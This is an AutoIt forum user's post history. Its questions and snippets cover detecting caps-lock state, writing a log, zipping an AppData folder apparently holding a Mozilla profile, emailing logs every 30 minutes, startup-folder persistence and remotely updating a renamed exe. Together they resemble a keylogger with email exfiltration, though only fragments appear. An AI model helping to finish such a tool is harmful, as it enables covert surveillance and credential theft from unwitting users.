Jump to content

nolongthin

Active Members
  • Posts

    27
  • Joined

  • Last visited

Everything posted by nolongthin

  1. @Spiff59 I want to ask is there a way to make it that if i type ABCD it would know my caps lock is on and console write it this way in all UPERCASE and if i write abcd it would console write it in LOWERCASE. Please help
  2. @Yashied, Thanks for your code but am trying to do this if its on it writes capslock on, and if off it writes capslock off : $pState = _GetCapsLockState() $caps = caps() Func caps() if $pState = 1 then ConsoleWrite("{CAPSLOCK ON}") ;CAPSLOCK Else ConsoleWrite("{CAPSLOCK OFF}") ;CAPSLOCK EndIf EndFunc While 1 $nState = _GetCapsLockState() $caps = caps() ;If $nState <> $pState Then ; ConsoleWrite('CAPSLOCK: ' & $nState & @CR) $pState = $nState ; EndIf Sleep(100) WEnd Func _GetCapsLockState() Local $Ret = DllCall('user32.dll', 'int', 'GetKeyState', 'int', 0x14) If @error Then Return SetError(1, 0, 0) EndIf Return BitAND($Ret[0], 1) EndFunc ;==>_GetCapsLockState I keep getting this >"H:\Program Files\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "H:\personal key\v4\test\tes.au3" {CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF}{CAPSLOCK OFF} >Process failed to respond; forcing abrupt termination... >Exit code: 1 Time: 4.339 Please help i want it to show like this: >"H:\Program Files\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut "H:\personal key\v4\test\tes.au3" {CAPSLOCK OFF} {CAPSLOCK ON} >Process failed to respond; forcing abrupt termination... >Exit code: 1 Time: 4.339 Thanks
  3. I dont seem to understand what you all are thinking, i did it on my pc in my country and right now an in another country. i dont have access to it physically cos am not there all i can try to do is access it remotely simply. If you feel any suspicion towards what i simply asked then please don't bother since you may not understand my predicament
  4. i really dont want to delete it i want to update it, but if i can't update it remotely then i have to delete the one there and reinstall it
  5. i want this to be done remotely on a computer i dont have physical access to
  6. the exe has been renamed severally that is why i dont know the file name
  7. Please i have a question on your selfUpdate program, if i don't know the name of the compiled script in a remote system am trying to update how can i update it?
  8. Hello everyone, I want to know if there is a way to search a pc for an autoit compiled script file and the shortcut file in the startup folder and delete it permanently. Please am new to using autoit, please the codes would be greatly appreciated.
  9. Hello everyone, I have been able to zip my folders using autoit, but the file size is too large for me to send to email Is there a way i can split it so that once it attaches the first split it attaches the second in the next email till it all of the zipped folder is sent $Zip = @AppDataDir & "\ Test.zip" _Zip_Create ($Zip) _Zip_AddFolder ($Zip, $moz, 1) Thanks
  10. Thanks czardas it worked. Is there a way to impose a limit that once the logs reach lets say 10MB it sends and then deletes repeatedly?
  11. FileCopy ( "Current.log", $AttachFiles) If i put this in the while 1 as it the log is written there it automatically saves it to the $AttachFiles
  12. $iMinutes = 1 $hTimer = TimerInit() While 1 If TimerDiff($hTimer) > ($iMinutes * 60000) Then _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl) Wend
  13. @ czardas i implemented the file copy (thanks) now when i use this it send the file in 30 minute but continues, i want it to send the file every 30 minutes then wait for another 30minutes
  14. How do i automatically create a copy of the file.
  15. @kylomas, how do i tell it to wait for some minutes and then send it (continuously)
  16. Am writing a program that its meant for a pet clinic management system its an assignment, once the detailed are entered its saves to a log file and then it sends the log to the email and the program need to run continuously, and the logs need to be sent continuously
  17. @kylomas Actually i want to email the file to myself every 30min that the script is run but am just testing it with 1 minute
  18. @water i didn't it just Exit code: 0
  19. Hi still dint work gives this error Description:The process cannot access the file because it is being used by another process.
  20. there is a previous while 1 in the main code, if i put the second it interrupts the first, and if the first still work the second would not it would give error that the process is being used by another
  21. AdlibRegister("Timer", 60 * 1000) ; Call this function every 60 seconds Func Timer() _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl) EndFunc ;==>Timer Did that and it didn't send at all
  22. #include <misc.au3> AdlibRegister(Timer(), 60 * 1000) ; Call this function every 60 seconds Func Timer() _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl) EndFunc ;==>Timer Hi, thanks for your suggestion, i created a new script and put this into it, but it runs once and exits, same thing happens when i put it in the main script
  23. sorry that was a mistake AdlibEnable(Timer(), 10000) ; call this function again in 1 minute ; call this function again in 1 second Func Timer() Local $iMinutes = 1 Local $hTimer = TimerInit() If TimerDiff($hTimer) > ($iMinutes * 60000) Then _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl) EndFunc Timer() If i do this, i get this error: AdlibEnable(Timer(), 10000) ^ ERROR
  24. AdlibEnable(_Timer(), 10000) ; call this function again in 1 minute ; call this function again in 1 second Func Timer() Local $iMinutes = 1 Local $hTimer = TimerInit() If TimerDiff($hTimer) > ($iMinutes * 60000) Then _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl) AdlibEnable(_Timer(), 10000) ; call this function again in 1 minute ; call this function again in 1 second EndFunc _TimerDiff() like this?
×
×
  • Create New...